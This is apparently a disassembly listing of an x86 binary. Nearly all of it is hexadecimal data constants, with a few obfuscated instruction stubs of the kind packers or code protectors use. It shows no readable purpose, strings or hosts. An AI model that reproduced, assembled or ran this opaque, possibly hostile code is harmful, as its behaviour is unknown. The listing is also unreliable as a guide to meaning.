0D3047A90h dd 0BF29804Eh, 1A5E9565h, 0B1358EBCh, 8E7DF3D5h, 49B0B694h dd 77C0BE38h, 9E647B00h, 7D00E6Ch, 759D5C7Ah, 6B302399h dd 88759D5Ch, 0E01FD4B0h, 609E59E6h, 5A9CC466h, 60CA1D6Fh dd 0A01E5C97h, 0B9C60C62h, 0B8AACABEh, 27F47F59h, 4C759D7Ah dd 0B0C043CCh, 69F8C365h, 9A5DBB13h, 19C16B63h, 91D46FEEh dd 0AEA91735h, 33C6714Dh, 759D796Eh, 11309B51h, 0D40FF8D6h dd 5D163492h, 759D7B0Dh, 96B3061Ch, 7A8D7A54h, 759D9D31h dd 79B0742Ah, 5D39E444h, 3BBE44Eh, 0FF7B47B6h, 0B450FFFFh dd 91EF5836h, 5836B0B3h, 9D5D068Bh, 222D2D75h, 0AECA2947h dd 6AC63AD0h, 0FDD91728h, 303666A7h, 7BF25CE5h, 67FD0A27h dd 1F77F594h, 2066DA0h, 350EB602h, 3885BB5h, 10759E55h dd 78F74C28h, 30CEC1Eh, 4412h, 96512300h, 0E7CB7452h, 0ADD3BFFh dd 4F8CEEECh, 0ED0301F9h, 95B70F6Ah, 228A6C2h, 72D562DEh dd 0C732321Eh, 0D80B7175h, 6F8CCE53h, 0C23C9860h, 8F0763E4h dd 0C792BD9Dh, 497C60A1h, 2FB54A4h, 3Eh, 9F637B23h, 4442A6A1h dd 1D5E10A6h, 8F09D67Bh, 0B3A424D3h, 4F8CFE55h, 0F1AAE850h dd 0D43202AAh, 8CDC7E03h, 24E8A16Fh, 0EEAA17F7h, 9D63EC6Ch dd 200ADC2Eh, 0DDF71DC6h, 0EF2497Ch, 36B46A51h, 87E57E58h dd 8B4C000Fh, 84AE1975h, 0B5BE9862h, 4F8A5861h, 0A01E5F98h dd 0F7A9568Ah, 0FD4EE10Bh, 976F9257h, 343A6A51h, 0C430E82Bh dd 218CBB47h, 0BC0E1CBAh, 286Dh, 637B0A00h, 36B6A19Fh dd 3B4F8A74h, 894A44A0h, 7FB116Dh, 9D2E81ABh, 376F9234h dd 0C77CA31h, 9FBC0E18h, 0D7h, 5836B4B8h, 0F5D129B2h, 106E8C57h dd 8FF83036h, 6AA9BBE5h, 52A833DDh, 0F6788B74h, 32759E44h dd 0F275C2BCh, 0AC31687Ch, 6C0274BEh, 0A39F8D09h, 0B1C16BC7h dd 8DEBC52Dh, 9D67D55Ah, 0F11EE275h, 36B2B593h, 678409DAh dd 0AF93759Dh, 56E159F3h, 8A769383h, 0F0D88E4Fh, 0A346FD40h dd 78B8293Fh, 0EA34B3A7h, 7569410Eh, 143690EAh, 0C56E4824h dd 498423F5h, 0CD0660D8h, 8366D1ADh, 0F9D1136Bh, 1EE45A96h dd 1F3916Ch, 55AA0000h, 106B8E79h, 0CF2EC9B6h, 89ED08F7h dd 47A7420Dh, 628F804Fh, 0EF5836B6h, 2C9BF374h, 68D7AFC9h dd 0A8176F8Dh, 7D02D543h, 9A7BAE00h, 34B4E017h, 5C820FD8h dd 4EA5759Dh, 0B0AF6D0Bh, 0F854A456h, 0AB23459Eh, 344AAD9Ch dd 7BF6ED5Ah, 0B6A19F63h, 4F8A7436h, 0B10D6CE7h, 0C466DA86h dd 9233DA63h, 1571886Fh, 0B30B6CF7h, 6B302399h, 886F9232h dd 0EEDD9BB0h, 0F2754334h, 6CF4037Bh, 17DF449Dh, 0DF40BC0Eh dd 55000000h, 7F579651h, 7E26DCDh, 1A748AE9h, 0BEAC08F0h dd 23C9C525h, 9D594688h, 0B20C6275h, 70CC22C5h, 9D581AE7h dd 65C13975h, 0A8BB99C7h, 759D57E3h, 0ABFF08F0h, 0B391CF33h dd 0B15E38B0h, 8A66EE26h, 0A06FD34Fh, 7189548Ah, 0AF0BF715h dd 7633E671h, 20184984h, 8AE90DC6h, 8DBF1B73h, 0C422A2ADh dd 7EECEA03h, 7AF27582h, 38B0B31Ch, 4536845Eh, 0B755E45Ah dd 0F056h, 7E589500h, 0BB135691h, 0F4D229CCh, 328CE80Bh dd 4C4AA245h, 0B1658A83h, 77F25D39h, 342F98F6h, 886BD4B2h dd 46AB1472h, 1800DD6h, 1A977BAEh, 0B69B51E3h, 1571880Ch dd 0C6C50BF7h, 279FD836h, 0CE79D505h, 0CFBD32Bh, 0BEB993E9h dd 0D92413Dh, 1E759DD9h, 83FF47DEh, 12C07A5Dh, 9957FB86h dd 0E8442011h, 36B4381Fh, 0D329B258h, 215A9DFBh, 0AC5B87A5h dd 0D2895FBDh, 583E817Eh, 0F6D0837h, 0FC8C8B7h, 8F6A95F1h dd 89F71571h, 30772B43h, 61EE0E97h, 30474296h, 4187F1E7h dd 0BEFE72E1h, 0F28AB58Fh, 22449F07h, 3D2FA7C3h, 13D661DDh dd 6E6886DDh, 0ED7654B2h, 7492220h, 0CD3CCB37h, 9CFAD42Ah dd 9EA9255Bh, 354B8CF2h, 0AFCBAE59h, 47A235D7h, 0E11ADD4Fh dd 0DD1347E5h, 1CD234EEh, 605E9CADh, 0A01E5C97h, 34B8Ah dd 936C0000h, 5F37B42Ch, 0FAD42AADh, 116D8F50h, 8F0760FBh dd 24A2DA9Dh, 413DBD06h, 0FAD410ABh, 16708F50h, 8E0863F4h dd 0E568199Ch, 89000063h, 89562434h, 4C681E6h, 83000000h dd 348704EEh, 3C895C24h, 4F766824h, 0C890000h, 97685024h dd 5807F54Eh, 8AFF5405h, 58C7892Ah, 2A0AE781h, 0E7813341h dd 5AC76842h, 19BC781h, 0C7817170h, 82A086DEh, 240C8B54h dd 8304C483h, 3C8904ECh, 8418F24h, 592434FFh, 8B04C483h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5503D9 ; --------------------------------------------------------------------------- dw 87F0h dd 5EF87C1Eh, 75CD5C86h, 4D290DBAh, 10A636B8h, 0FFC50306h dd 9DADACE0h, 0ECC17C4Ch, 6ACBE62Ah, 511E355Eh, 9104BC27h dd 0EE4CA13Dh, 6E09C63h, 0C0941966h, 0EF13F761h, 942A945Eh dd 0BDBFCA36h, 9E842h, 6B5A0000h, 0F77A1C2Dh, 0FF5CB3Fh dd 589h, 0F7816600h, 565A3C0Bh, 14E9h, 0D3A6EB00h, 983BF21h dd 5F940A66h, 65456B72h, 0C9D8A2ECh, 0C2815B27h, 6319h dd 10E9h, 29AE2200h, 0EF108D68h, 2FC19596h, 46F5B6EBh dd 1890B952h, 0BF0F0000h, 60328BC3h, 0F616060h, 6161FBBFh dd 3DE8C681h, 0D4806075h, 21F681D1h, 664FA3D0h, 814442BBh dd 49BA46EEh, 0EB816610h, 3289FE2Fh, 0EA83C78Bh, 7830F02h dd 50000000h, 6CF8166h, 4A4A5854h, 0C1B70F57h, 1E98158h dd 0F000000h, 1A85h, 12EFB800h, 30E9394Bh, 0E3000000h dd 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 0F0DEA6Fh, 18Ch dd 8AE9F800h, 0B8FFFFFFh, 0B418A160h, 0F4615F19h, 0ED60E2Bh dd 891D649Bh, 8D2E4E5Ah, 10A8BB8Dh, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1F9F280Ch dd 4D8D893Fh, 6A060B17h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 520BC353h, 0ACEC2F2Ch dd 1985C710h, 28060B01h, 6A00005Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F6EC350h dd 100985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 830F7EC3h, 6, 65B9EA81h dd 0B5FF4846h, 60B0ED9h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0D0C35242h, 0CB18509h, 95FF060Bh, 60B0AC5h dd 2870Fh, 0F38B0000h, 95FF006Ah, 60B32DDh, 0DEBC08Bh dd 0AB71B69Fh, 0FF311A5Bh, 1B547F0Bh, 0C508EB14h, 9C797E7Fh dd 0E977E733h, 0DA8h, 10AAC268h, 0D651E906h, 1668FFFAh dd 0E90610ACh, 0FFFAD647h, 10AD9968h, 0D63DE906h, 0B468FFFAh dd 0E90610AEh, 0FFFAD633h, 10B02A68h, 0D629E906h, 5568FFFAh dd 0E90610B2h, 0FFFAD61Fh, 10B40668h, 0D615E906h, 0F068FFFAh dd 0E90610B4h, 0FFFAD60Bh, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h dd 0B2C72033h, 0BDAF5C87h, 84B45D29h, 0FD63D2C5h, 176DD5DEh dd 75BBA428h, 0D488270Fh, 2B9FF3D7h, 92AFF421h, 0B18C9974h dd 93A8F4A2h, 0C5CE3F49h, 26C00488h, 9F80D35Eh, 0AA1E64BDh dd 618ECABAh, 0C334B3Ah, 88C7D1B8h, 0D9D4CE04h, 2E38767Eh dd 0A387DE68h, 619B2A8Eh, 2C353FC8h, 48E1h, 0BCC47B00h dd 0B5B700C4h, 4B7A1CEDh, 0B43E1D8Ch, 0D6FA49Ah, 0D140E476h dd 5EBD9F05h, 2195A8F1h, 2D0589EDh, 3A60CB5Dh, 0E635E088h dd 5A2367EBh, 0D4CE7845h, 0C70A23D9h, 1C272C35h, 0B5000001h dd 189FB406h, 0AC5A781Bh, 0BB33BDB6h, 0C3941DCFh, 1DCDB92Dh dd 7842C394h, 0EFE62E9Fh, 0B9CD618Bh, 0EC3941Dh, 0E6331A34h dd 25DA01EBh, 7E0AA2BEh, 0F1C39456h, 0C2354E89h, 8C5EB25Ch dd 59AC1461h, 4CA0E468h, 0E36A84F8h, 0D5E43399h, 23C92D61h dd 26AAA7F2h, 1DCC44E2h, 625FA808h, 0EBD62F9Eh, 7ECF2367h dd 37251938h, 6987BEC6h, 0D2EF38E1h, 7C3C9D01h, 0EA3FC394h dd 45C34704h, 0D222A328h, 0B0A387FBh, 6D814257h, 0C394D719h dd 0CCB094EEh, 0A14BD0ACh, 9FC9080Dh, 1EC53DBDh, 0ADDB0092h dd 0CC8CFF10h, 987F0BDBh, 8AF03A61h, 273C405Ch, 9CBB135h dd 0CBA4446Ch, 43A98DBCh, 0F2AC4E52h, 0DB1DC2D3h, 3AEB086Ch dd 0A10DFE6h, 798C6A67h, 0AFF3689h, 0A1C0000h, 0B0C72033h dd 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh, 31221D67h dd 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h, 48C584B7h dd 0DADE03F9h, 7C8471FBh, 23CCA741h, 4D5D20D6h, 0CE9FCF77h dd 0BD8B09EAh, 0D8764B50h, 0B9A3B8C4h, 1DC3872Fh, 8529C394h dd 0C3941DC1h, 0BF837C46h, 0A04DDF91h, 39CD7B5Ah, 0BD9F0598h dd 82C66EF8h, 53A60CBh, 917A2BE6h, 81E50686h, 2E92E867h dd 60774606h, 5CB2C73Ah, 967DC52Fh, 15F9DDE3h, 9D615CA4h dd 1C6E7FB5h, 0FFCC73F9h, 8BE78DA0h, 3FCEE806h, 0C7832BB5h dd 483A6067h, 0C36AD472h, 0EE2C356Ah, 0EDh, 6DD5DE76h dd 41352914h, 0C9BD8098h, 9418B819h, 0A56EBBC3h, 6BE64501h dd 47F0CA3Ch, 0B1D26DEAh, 6EFCD07Eh, 0B05E69BFh, 0F0CDD637h dd 3336F56Ah, 0E3D97476h, 0CFADCD45h, 0B0EA6B4h, 5142608Ch dd 9BA5CA4h, 93CAD32Bh, 0D433DD31h, 7AF27CEEh, 3A60830Eh dd 0D1E66281h, 98DD81A6h, 8DE98AA4h, 7E0AA2EFh, 0F13A608Eh dd 2F479589h, 446D1E56h, 0D0B4384Ah, 573072FFh, 7C46C563h dd 6BB15CEEh, 877E054h, 0B412ACB5h, 62EB0579h, 0D33C271Eh dd 1379F6C9h, 288C6B23h, 9AB65DAh, 0BEC80000h, 64B35C87h dd 12618E55h, 0B3CB243Fh, 62B6578Ch, 2A318053h, 6DF6C9D3h dd 9D467B80h, 0CA292470h, 66FDC8DDh, 0ABDF5795h, 3CC584B1h dd 0DADED74Dh, 1EC78FBh, 1377DBF6h, 320F18F5h, 98A7FD28h dd 4334534h, 7C435920h, 0D99AB488h, 0F8D5DE3Bh, 0F050A514h dd 0ADB6AAA7h, 4A90ABF1h, 9F24BB22h, 57AC59BDh, 84A2E66Ah dd 67CFB387h, 3A60E866h, 0B5FE2FBDh, 0D5E83198h, 0E46C793Bh dd 6CD0EF39h, 0ED1CFE28h, 0C42C3501h, 63Ch, 0E30D6F20h dd 0C9D3BA95h, 0EACE02F6h, 216DEC00h, 0F8C2BD9Fh, 59708372h dd 937791F5h, 60EE3353h, 8B7AE63Ah, 9AFE427Dh, 3CEAE533h dd 78916B7Ah, 512C3500h, 604h, 760D6FBFh, 0B6D25AE4h, 39C3941Dh dd 214527C1h, 0BD9F2F58h, 9D9AD95h, 3A60FC79h, 0C4D13CACh dd 0DF874E89h, 36C043Dh, 0CEC2C3E5h, 2C34CE1Fh, 0AAA7F01Dh dd 0BD44E226h, 5C8h, 0E32D465Bh, 1DA9DD51h, 0EB30C394h dd 0F71169D6h, 9C4ED5A7h, 9F053D08h, 67AE5FBDh, 84A2E66Ah dd 0E2DF2687h, 1847A98Eh, 9110D8C4h, 201F65F7h, 0EA04785Ch dd 752B431Ah, 575923CEh, 4A8E724Dh, 61608456h, 0EED04020h dd 0A51A2094h, 974F6C4Dh, 4458F678h, 0B5392338h, 0DA4CBAD8h dd 168755ADh, 0C223300Dh, 5B3F5FB1h, 0CFC6C295h, 5C7F23A7h dd 7A5EA4A2h, 5A6DC906h, 0A4AE1E89h, 828E3h, 4334700h dd 0EAE72EDFh, 0BC8D9C09h, 13046A7h, 0D0EF35D2h, 4EADB403h dd 3FE80B4Ah, 0EF18DBE6h, 58B5AE99h, 18E1724Fh, 0B0285CD0h dd 0D0BFC584h, 0B71EBD68h, 0F4FAED88h, 0D16F711h, 0FFE4C30h dd 9C20CEF9h, 7DF17B00h, 0BD84F8DEh, 5A816BAFh, 4FF2BCE2h dd 0DF98B639h, 7B0A4757h, 0A29FE63Ah, 4F86FADEh, 6AE75BEh dd 3A7B0A42h, 0A4004A8h, 0F3C73A7Bh, 19DA3E04h, 3B1A1E8Fh dd 0C9D57357h, 2B43A9B2h, 3A7B0A57h, 0BF6ED228h, 12845F6Ah dd 3A7B0B62h, 0F60FB5C3h, 2F0347CBh, 532B9E3Dh, 167CCF61h dd 858E7FF8h, 1C6CC448h, 293C84A1h, 15FA0Bh, 0B4C12E35h dd 0ADC15399h, 3A7BE1D9h, 56BA54AEh, 7BD1EE9Eh, 6461233Ah dd 845F6ABFh, 2D879D08h, 2519EDD8h, 1E2378C1h, 1140BF0h dd 0DE950000h, 0A514F8D5h, 94ABF153h, 488EC20h, 941D582Ch dd 0F9D421C3h, 7C98C715h, 221F66B8h, 0F7D58815h, 2C374559h dd 0B805B63Eh, 1C66427Bh, 632965D3h, 0D7A89A86h, 70Dh dd 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh, 3537C41Fh dd 84B3D5B1h, 75EB5AC5h, 14F8D5DEh, 0FA605FA5h, 1D80C468h dd 3307C394h, 63B55215h, 8F598654h, 0C8BC305Bh, 5FC394F4h dd 0C3F3DC7Bh, 0FA2BCC7Ah, 0A6479CA9h, 2E9F6352h, 0FD891DEAh dd 72C394BFh, 14FA3D3h, 0E9CD17BEh, 5D5701F5h, 6E51AB50h dd 5FE97BF5h, 9447B3D7h, 6CE34C3h, 0C3944742h, 0E953FDC5h dd 32414B40h, 769h, 7AC8F700h, 50000000h, 0E60ED5DEh, 0C3941DE2h dd 743EB65h, 88C3941Dh, 967A5EB2h, 942D2E5Eh, 24A1E3C3h dd 4D9FAAFFh, 0EDDFABC3h, 595E3C6Bh, 89A79B64h, 0D8F701EEh dd 0ED8DFC74h, 4B493C6Bh, 744355BAh, 0D6DE29EFh, 0B7C10BFFh dd 941D4B3Fh, 48E6DCC3h, 3084B3C5h, 58414C46h, 7CE2714Ch dd 0C3942506h, 0D7228297h, 0B8A286FAh, 0DE08374Dh, 4004C07Ch dd 0FEB9E732h, 0C801FFFFh, 318h, 0F8D5DE50h, 1DBCDC14h dd 8CA6C394h, 0B28F9801h, 677C33A8h, 9AC41238h, 4E89F782h dd 133D16CEh, 0A162B750h, 33EB9F17h, 67CC394h, 9433BACEh dd 0D1350DC3h, 3395C56Dh, 314C394h, 6EF84236h, 943382C6h dd 4C3D05C3h, 0DEDE0839h, 3FB7A5BEh, 0BD84AA9Ch, 85A95EDh dd 0EB866238h, 597B81Fh, 0A2F40000h, 485F48ABh, 0FE0DFA79h dd 0AFF710C3h, 5EA24390h, 1E45FC67h, 599AA5FFh, 896A57ACh dd 263D081Ch, 5281BCC9h, 5F2B43A9h, 0D0C584ADh, 0D5DEFB61h dd 708372F8h, 0F25BAF59h, 0A34C97AEh, 0AEA3EE56h, 5182E6DAh dd 0ED516CB4h, 75D9E43Ch, 4F54418Bh, 0D3D2D472h, 7F465C49h dd 0B499B78Bh, 682516Ch, 1D1470F4h, 0A79BC394h, 0D769789h dd 41533240h, 0C9000002h, 52FCCDDCh, 5E1EBDECh, 303A764Fh dd 6C0F8FB9h, 8D9805D7h, 0E4A6224Ah, 0D129C394h, 273509FDh dd 94E4FB8Fh, 0D8764CC3h, 0B7BEF070h, 0E93FC67Ah, 70836ADEh dd 879DF559h, 0C3D17406h, 71FCEC2h, 0F90A3352h, 0D2000001h dd 0E5770C6Fh, 0F65AAA5Bh, 90BE92AFh, 941D80C4h, 4F3307C3h dd 7A4EC9E7h, 239840C6h, 9E23ABA1h, 694BE5D4h, 0D329D45Ch dd 68B118ECh, 65D77155h, 335161C4h, 1BFEDh, 838E7F00h dd 405034B8h, 0E3D7C285h, 6FFB618Fh, 76E5770Ch, 0DEA88E04h dd 59133D6Eh, 1E3990CFh, 0DFE3A873h, 502DA531h, 58A2C394h dd 3227CF4h, 0B5EFC67Ah, 5B29C038h, 81003351h, 98000001h dd 5231E6Dh, 770C6F1Fh, 1D0D41E5h, 0B882C394h, 4E421CD4h dd 0D5CFC67Ah, 0E0920D8h, 5D203351h, 0B8000001h, 889B354Dh dd 95E95DB1h, 0D5DE857Bh, 1DE2E60Eh, 1D65C394h, 0D98C3339h dd 0B706EB88h, 812D52B6h, 17B2E876h, 5FA811F9h, 43741094h dd 87FBC394h, 96E6B0A3h, 47AD6556h, 785C5C3Dh, 0ABF77AF2h dd 7248BD9Fh, 0DCEB3DE8h, 3E199E23h, 0E6005A09h, 0B282C262h dd 85573A61h, 84EB0918h, 7DE6302Bh, 0AD072105h, 9441E820h dd 20682C35h, 0F4000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh dd 60CB3050h, 2EBFE53Ah, 35C733DAh, 991E2Ch, 0DEE60000h dd 8372F8D5h, 0A6AA447Bh, 2E92ADF7h, 0AB1F2A7Fh, 5F84B1C2h dd 941866D7h, 81BCC9C3h, 0E3780452h, 7012F579h, 0AF934266h dd 754850BDh, 64B362EEh, 4E52BB55h, 709CF877h, 0C743865Fh dd 36C00h, 407F8B00h, 16237293h, 0F8D120CDh, 4D748A7Bh dd 1C237996h, 926970C7h, 43ACB78Eh, 33DC073Ah, 9C09EAE5h dd 54A5BE8Bh, 0AF741094h, 0CFBC584h, 0DDADE94h, 941DED99h dd 46EE62C3h, 0C3941D02h, 6559BD85h, 0C90411FEh, 691D9123h dd 0FEC3941Dh, 0D7E23584h, 0DE46BE39h, 0A514F8D5h, 72FE6550h dd 0A10B0BCDh, 37D1D692h, 948BDEAFh, 0F78C10C3h, 0B864DB65h dd 0C7251CD1h, 2B32C26Ch, 4BD9F67h, 5D8F2C3Eh, 0FBD55786h dd 8B09EA04h, 14F8D5DEh, 0F7C2D7C6h, 2C21CF03h, 2975EEDBh dd 7F4A5D53h, 0D05DD11Bh, 8BD9F19h, 92BC8B9Dh, 6E9F4DB5h dd 0BFF2928h, 60E7ABDBh, 0AB3A7E3Ah, 3506B851h, 41912Ch dd 6F7F0000h, 5AE4760Dh, 71E34BE5h, 83ADCD3Eh, 9F9942F3h dd 63D72BBDh, 616F83C3h, 0DBF2023Ah, 477E8677h, 0E9F91F3h dd 48AC93E9h, 8F98C795h, 0B94855BCh, 8E1F99B7h, 367CD37Ah dd 0EFFE2Ch, 0BD060000h, 0A4C8F01Eh, 34D2588Bh, 0DF1CCD9h dd 0F379445Ch, 0EECD9E4Ch, 98B6C857h, 81BCC9B0h, 6C59AA5Bh dd 8A9F4EC2h, 41A12549h, 0DC26C394h, 3CE97BF8h, 0A62ED8E9h dd 0C39444F7h, 0CA102D76h, 0CF42ED95h, 0DF0D8EDEh, 94663357h dd 0A04EB4C3h, 4C5845C7h, 37BF8D71h, 0C3946653h, 5C8AEED4h dd 43A9A4F1h, 81754C52h, 4FAFA34Dh, 0A0C4162Dh, 0BD9F51B9h dd 14A5E45Bh, 5AA73BE7h, 886BAFACh, 0A7B5CEAEh, 6C0DFE0Fh dd 0E10B4F44h, 34D2EF34h, 0E314BBAh, 0A5C95BD5h, 3073CF21h dd 5BB25CA6h, 0ADF17E41h, 5E8C69EAh, 1BB13F4h, 0CED80000h dd 74836CF7h, 22719E45h, 0C3DB342Fh, 728667FCh, 3A219043h dd 7DE6D923h, 0ADB68B90h, 0DA193440h, 76EDD82Dh, 0BBCF6785h dd 0CC584A9h, 0DADEC7BDh, 7A8F78FBh, 8E18944Fh, 941D6266h dd 739DE5C3h, 0E30D6F8Dh, 9943A79Ah, 0A428196Ch, 2C90AFF5h dd 905AF4E8h, 9F05BD1Ch, 0E62EDFBDh, 0F8C241EFh, 0C1D7C614h dd 20CE02F6h, 60CB3454h, 32B3E13Ah, 35C72FDEh, 0A71A2Ch dd 0DEE20000h, 0A514F8D5h, 549C605Fh, 0C39418E5h, 0DD063344h dd 66EAE730h, 7FED7606h, 60D10EF7h, 589BFF42h, 77E57E1Eh dd 0D3E238E5h, 4B91F06Fh, 0D7AD802Bh, 0CFF60AF3h, 0D1575521h dd 0A298446Dh, 0D64803B8h, 2B736944h, 0AA444178h, 33DD3158h dd 0B7FE2FB9h, 9BE16C9Ah, 4A4EBFA4h, 291293D0h, 280CEFEDh dd 6B60A1DFh, 1BFC568Ch, 0D1h, 76EDE42Eh, 0A0B38E99h, 0DE053447h dd 9EAE931h, 0BAB9849Ch, 0E339D41Bh, 91E607DCh, 4E56B7ACh dd 0F603EC77h, 79F318DBh, 84A991F5h, 31A716C5h, 78FBDADEh dd 944F7A8Fh, 0F8D5DE6Ch, 0CC708372h, 26AA8EBBh, 1DCC44E2h dd 78263D08h, 3972E924h, 70C37353h, 0A55E2A3Ah, 0E9D1C394h dd 62B667F5h, 0A387BEC6h, 0A55135B9h, 0ECD6C394h, 8B04A842h dd 9CBD843Ch, 67EBE633h, 7F465A23h, 0EF53B78Bh, 1BD8F53Eh dd 0D8AC99EAh, 0A690408h, 7776ACBDh, 0AB48858Eh, 0A81C297Ah dd 369AB9C1h, 591A410Bh, 0A5244335h, 0DAEBCD7Bh, 3440E035h dd 0B23E2519h, 0EB053443h, 50241162h, 14FFh, 7A806D00h dd 7593F75Bh, 4150BD8Fh, 0CABE859Dh, 0C37492F6h, 0FDD4DE55h dd 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h dd 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 4568CF7Bh, 89000041h dd 8952242Ch, 4C281E2h, 83000000h, 148704EAh, 0C895C24h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 81242C89h dd 4ECh, 243C8900h, 66700CBFh, 0EF814704h, 300D31CBh, 7862EF81h dd 814F1D4Dh, 0D27FCCE7h, 0A0EF811Eh, 890FF19Ch, 8B545FF9h dd 0C483242Ch, 8BB5304h, 81000000h, 67025EBh, 81EB0107h dd 67025C3h, 5B0B8907h, 5D2434FFh, 8B04C483h, 8957240Ch dd 4C781E7h, 83000000h, 3C8704C7h, 0B8E95C24h, 0C8FFFAC8h dd 6DE6E444h, 10B5E6B8h, 0FFC50306h, 59C3B2E0h, 31A157Eh dd 63ACF444h, 0F66AFF40h, 1F42947Dh, 0D807724Bh, 0FBCD8225h dd 8A453A28h, 6CA10606h, 0B649C26Dh dd 3D2ED7Ah, 0CF7174Dh, 16C0DE43h, 446A7954h, 7C3B3F7Dh dd 0D24BDD5Ch, 5EDC6C6Fh, 6055A81Bh, 4A80B164h, 0EBE24E13h dd 80781B22h, 28DC7636h, 3D65BE78h, 0B26CDF64h, 0A63C4A67h dd 0E40CDB4Ah, 7DE2086Fh, 0E9C08B4Dh, 10h, 0BE7DF403h dd 1DB6E394h, 5C7EE93h, 0E7AED871h, 5BDBD83h, 7500060Bh dd 0D1BD8309h, 60B29h, 53501974h, 0FCB8C08Bh, 89000003h dd 0B2A3585h, 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh dd 17740006h, 0FCB85350h, 89000003h, 0B2A3585h, 99D8D06h dd 0FF060DB0h, 6A585BD3h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0E9C6C356h, 0Dh, 4FAF4E5Dh dd 0FF16577Dh, 1D330446h, 56006A0Eh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 103C8F79h dd 8B97B604h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0AA2E12E5h, 0C158D36Fh, 0CB816614h dd 0BD837C1Eh, 60B0B19h, 63840F01h, 0F000000h, 1181h, 0B8C0F00h dd 0E9000000h, 6, 6262B61Eh, 0BD832296h, 60B0E31h, 3F850F00h dd 80000000h, 0BD8335EFh, 60B2715h, 7D840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 9EBEC357h, 8C212EABh, 7E91703h, 88000000h dd 0C014DF08h, 1FE9C200h, 0E9000004h, 0Eh, 64315148h, 5B23C443h dd 0BAB11C52h, 0FE81h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0DA9009C3h, 0FD2A22Eh dd 286h, 66D88B00h, 0F381D68Bh, 57FF71EFh, 9227E0Ah, 4DA6CDD3h dd 0B1C6C108h, 1D3704F0h, 0F0D265DFh, 0D07CFAD3h, 0FCB84E93h dd 664DCD01h, 0BD2F1B78h, 24C6CBC3h, 4B920B49h, 64EDFA5Eh dd 58DB43D5h, 0B1C6CB2Fh, 3EAD87C4h, 0E70D4191h, 6600A835h dd 3991D444h, 587C4426h, 0B1C6CEB2h, 0B1C6232Dh, 309BCB3Ch dd 0A17E21F3h, 0E2C6A109h, 0B1C6C86Fh, 729DEBC3h, 959A42BAh dd 95824AF4h, 0B1C6DE7Ch, 7295883Ch, 0B62EC483h, 0E1C6CB0Fh dd 16558F52h, 34C94F5Ch, 0B1C6CBE7h, 14E51871h, 0DB9CF674h dd 0B22E9B3Ch, 91C6CB1Eh, 389E0857h, 30C2EFC3h, 0ADC2EF87h dd 0F1C6CBE1h, 9D0708A0h, 9354833Ch, 3AB3EE43h, 7C204BDEh dd 0B1CA239Fh, 4B2ECB87h, 621A71D9h, 3D0C23D6h, 5C7D1412h dd 0EB94F379h, 707CAD6Ch, 0B1AC5BBBh, 0B1C5235Eh, 0E8E6CB87h dd 0FD4F9200h, 0F547CFC5h, 0B1DBCFD4h, 0E087CB78h, 0C8DC58FFh dd 28A32B2Dh, 3A8C31B7h, 5A47AD54h, 0B0C984B3h, 0DB38EFADh dd 0B22E99F0h, 91C6CB78h, 389C0866h, 30C2EF4Ah, 0A4C2EF4Bh dd 0F3C6CB87h, 592E0891h, 0B4C67CB9h, 0B1C6C9FCh, 5997CB12h dd 0B1C6CB3Fh, 0E805923Eh, 0B5E28786h, 0B5E28F06h, 0B1C6CBD5h dd 15059AA0h, 0B94D4B71h, 5994CB12h, 0B1C6CB3Fh, 0EB05913Eh dd 0B5E29F86h, 0B5E28F06h, 0B1C6CBDEh, 0AC0599A3h, 3A6F4BF4h dd 0FEE5D33Eh, 6879C41Dh, 0D71E4078h, 0DB3A8384h, 0B22E9E87h dd 91C6CBC3h, 389B08BCh, 30C2EF9Ch, 0A6C2EF3Ch, 0F4C6CB3Ch dd 0B990084Bh, 7A465342h, 15BC718Ch, 0B07EB120h, 0DBC6CBE1h dd 0B22E9CF0h, 91C6CB78h, 38990863h, 30C2EF62h, 0AAC2EF4Bh dd 0F6C6CB87h, 3AFF0894h, 0B9224DD7h, 0BA2E256Bh, 33C6CB78h dd 3607765Ah, 6C6D88C7h, 4D918CAFh, 517091DCh, 38A17893h dd 0BD2EEFEDh, 53C6CBF0h, 55B1BB30h, 0D7519517h, 58D3D3E6h dd 0B1C6CB09h, 5CB3756Bh, 0D79CF343h, 31C9126Dh, 0B1C6CBFCh dd 0B1C04E77h, 3AC9CB3Ch, 0B1C6CB1Eh, 0BEC20AF9h, 0B1C63D02h dd 0E7C6A1C3h, 0B1C6C809h, 7298EBF0h, 95B24226h, 95824A38h dd 0B1C6D61Ah, 72908D0Fh, 0E26FF377h, 6F4531Eh, 687CE7FFh dd 0BEA7D311h, 0B1C6C9F1h, 0E832413Ch, 5997CB74h, 0B1C6CB0Ch dd 0E80592A7h, 0B5E2874Ah, 0B5E28F60h, 0B1C6CBECh, 8F059A39h dd 3CCC22CAh, 34D03634h, 311E7400h, 34C9A3BEh, 